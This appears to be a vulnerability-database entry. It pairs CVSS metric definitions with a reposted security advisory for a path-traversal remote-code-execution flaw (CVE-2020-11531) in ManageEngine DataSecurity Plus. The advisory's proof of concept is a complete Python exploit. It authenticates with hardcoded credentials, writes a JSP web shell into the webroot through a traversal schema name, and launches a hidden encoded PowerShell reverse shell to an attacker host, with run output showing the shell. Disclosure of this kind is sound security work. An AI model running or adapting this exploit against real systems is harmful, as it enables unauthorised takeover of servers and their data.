The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ManageEngine DataSecurity Plus Path Traversal / Code Execution
XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal
===============================================================================
Identifiers
-------------------------------------------------
* CVE-2020-11531
* XL-20-001
CVSSv3 score
-------------------------------------------------
9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vendor
-------------------------------------------------
ManageEngine - [https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)
Product
-------------------------------------------------
ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the features such as File Server Audting, Data Leak Prevention and Data Risk assessment
Affected products
-------------------------------------------------
- All DataSecurity Plus versions prior to 6.0.1 (6011)
- All ADAudit Plus versions prior to 6.0.3 (6032)
Credit
-------------------------------------------------
Sahil Dhar - xen1thLabs - Software Labs
Vulnerability summary
-------------------------------------------------
ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not validate the database schema name when handling `DR-SCHEMA-SYNC` request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.
Technical details
------------------------------------------------
Upon receiving the `DR-SCHEMA-SYNC` request, the application calls the `syncDRSchemas()` function of `DataRepositoryManager` class at line:109 of `DataRepositoryManager.java` from `dataengine-xnode.jar` package.
As can be seen at line:126 of function `syncDRSchemas()` , the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it.
```java
109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {
110: JSONObject jResponse = new JSONObject();
111: JSONObject jSchemas = request.drSchemaListObj();
112: File schemasFolder = ((Path) Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();
113: schemaMap = new ConcurrentHashMap();
114: if (!schemasFolder.exists()) {
115: schemasFolder.mkdirs();
116: }
117: if (schemasFolder.isDirectory()) {
118: File[] schemaFileList = schemasFolder.listFiles();
119: for (File schemaFile: schemaFileList) {
120: schemaFile.delete();
121: }
122: }
123: Iterator iterator = jSchemas.keys();
124: while (iterator.hasNext()) {
125: String key = (String) iterator.next();
126: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key));
127: bw.write(jSchemas.getJSONObject(key).toString(2));
128: bw.close();
129: Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key));
130: schemaMap.put(((DRSchema) schema).getSchemaName(), schema);
131: LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
132: }
133: checkFieldWithMultipleDataTypes();
134: jResponse.put("error_code", 0);
135: return jResponse;
136: }
```
Proof of concept
-------------------------------------------------
Using the following exploit code, we can observe that by sending a `DR-SCHEMA-SYNC` request to the DataEngine XNode server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus application and execute arbitrary JAVA code.
```python
#!/usr/bin/env python
# Author: Sahil Dhar(@0x401)
import socket
import sys
import requests
import telnetlib
import threading
import os
from time import sleep
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def reverse_tcp_handler(lport):
print("[+] Starting reverse handler on port %d" %(lport))
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Got connection from %s" % addr[0])
t.sock = conn
print("[+] whoami ?")
t.write(b"whoami\n")
t.interact()
def get_bytearray_payload(lhost,lport):
cmd = "$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb yte.Length);$stream.Flush()};$client.Close()"
r_cmd = ""
for c in cmd:
r_cmd += c
r_cmd += "\x00"
payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' % (b64encode(r_cmd.encode('utf-8'))).decode('utf-8')
r = ""
for i in payload:
r += str(ord(i))
r += ", "
r = r[0:-2]
return r
def send_payload(rhost, rport, web_port, lhost, lport):
auth =
'{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'
shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list": {"../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost, lport)+'})); %>"}}}'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost,int(rport)))
s.send(auth.encode('utf-8'))
sleep(1)
s.send(shell.encode('utf-8'))
print("[+] Triggering the shell...")
r = requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" %(rhost, web_port))
def main():
help="%s <rhost> <rport> <web_port> <lhost> <lport>" % (os.path.basename(__file__))
if len(sys.argv) < 6:
print(help)
os._exit(1)
disable_warnings()
rhost = sys.argv[1]
rport = int(sys.argv[2])
web_port = int(sys.argv[3])
lhost = sys.argv[4]
lport = int(sys.argv[5])
th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
th.start()
send_payload(rhost, rport, web_port, lhost, lport)
if __name__=="__main__":
main()
```
```
#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>
```
Solution
-------------------------------------------------
Update the affected products to their latest version.
Timeline
-------------------------------------------------
Date | Status
------------|-----------------------------
04-MAR-2020 | Reported to vendor
13-MAR-2020 | Patch available
05-MAY-2020 | Public disclosure
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